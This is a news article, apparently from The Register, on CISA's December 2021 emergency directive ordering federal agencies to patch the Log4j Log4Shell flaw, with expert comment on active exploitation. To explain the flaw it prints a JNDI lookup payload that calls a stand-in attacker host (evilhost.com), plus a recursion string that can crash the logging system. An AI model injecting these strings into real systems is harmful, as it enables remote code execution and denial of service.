CISA issues emergency directive to fix Log4j vulnerability

Federal agencies have a week to get their systems patched

The US government's Cybersecurity and Infrastructure Security Agency (CISA) on Friday escalated its call to fix the Apache Log4j vulnerability with an emergency directive requiring federal agencies to take corrective action by 5 pm EST on December 23, 2021.

Log4j is a Java-based open source logging library used in millions of applications. Versions up to and including 2.14.1 contain a critical remote code execution flaw (CVE-2021-44228), and the fix incorporated into version 2.15, released a week ago, has since been bypassed.

The software library includes a text-formatting language that allows code execution and the vulnerability enables a remote attacker to craft a string like ${jndi:ldap://127.0.0.1#evilhost.com:1389/a} to fetch the referenced object on the specified server and execute it.

The flaw, referred to as Log4Shell or Logjam, is rated Critical – with a CVSS score of 10.0 – and is already being actively exploited, hence the hullabaloo.

"Since Log4Shell is a critical flaw with a huge attack surface and is very simple to exploit, threat actors are actively using it to launch their attacks even with a patch already released, said Felipe Tarijon, a malware analyst at Appgate, in an email to The Register. "Several state-sponsored groups are exploiting the flaw in the wild and making modifications to the Log4j exploit."

Tarijon said botnets Muhstik and a Mirai-variant were abusing the flaw on Linux devices before public disclosure, and exploitation activities like the deployment of cryptocurrency miners have been observed. He added that a new ransomware family targeting Windows named Khonsari has been seen exploiting the Log4j vulnerability, which has also been used to deliver the Orcus Remote Access Trojan.

"This vulnerability, which is being widely exploited by a growing set of threat actors, presents an urgent challenge to network defenders given its broad use," said CISA Director Jen Easterly in a statement last week. "End users will be reliant on their vendors, and the vendor community must immediately identify, mitigate, and patch the wide array of products using this software."

CISA earlier this week published mitigation guidance directing federal civilian agencies to update Log4j to version 2.15 by December 24, 2021, to address CVE-2021-44228.

But on Wednesday that advice was superseded with the recommendation that affected entities update to version 2.16, released two days earlier to address a mitigation bypass and a separate flaw that had been identified, CVE-2021-45046, that allows an attacker to conduct a denial-of-service attack on affected devices via malicious payloads.

The emergency directive requires federal civilian agencies by the end of the business day on December 23rd to: 1) Identify all systems that accept data over the internet; to check those systems against the CISA-managed GitHub repository; apply the latest Log4j patch if appropriate or take vulnerable systems offline; submit a pull request identifying assets not referenced; and assume that vulnerable systems have been compromised, with the post-incident investigation and mitigation that entails.

And by 5 pm EST on December 28, 2021, agencies are required to report systems they identified during this process and to detail whatever action was taken.

The fire drill, however, may not be over yet. The volunteer maintainers of Log4j have identified an infinite recursion bug, affecting versions up through 2.16, that apparently will crash the application if string substitution is attempted on this string pattern ${${::-${::-$${::-j}}}}.

As this article was filed, there's not yet public agreement about whether this constitutes a meaningful denial-of-service attack risk or about whether a CVE will be sought for the issue. Stay tuned.

"The first patch (2.15) still has a vulnerability in non-default configurations allowing exfiltration of sensitive data," said Tarijon in an email to The Register. "So, applying the latest patch by updating to 2.16 would be enough to fix the remote code execution (RCE) problem. It disables JNDI, the component abused to leverage the RCE.

The recursion bug in version 2.16, he said, appears to be less critical because it can only be used for a denial of service attack that crashes the log system. Though the RCE bug has been patched in 2.16, he expects it will continue to have a significant impact because of the huge attack surface that depends upon vendors and third parties who may not apply patches quickly enough.

"As a reference, the PrintSpooler vulnerabilities in July of this year led to an RCE bug, patched by Microsoft, but subsequent exploits and variants appeared later as soon as threat actors started to abuse the vulnerability in the wild," Tarijon explained.

In other words, expect to keep hearing about Log4j. ®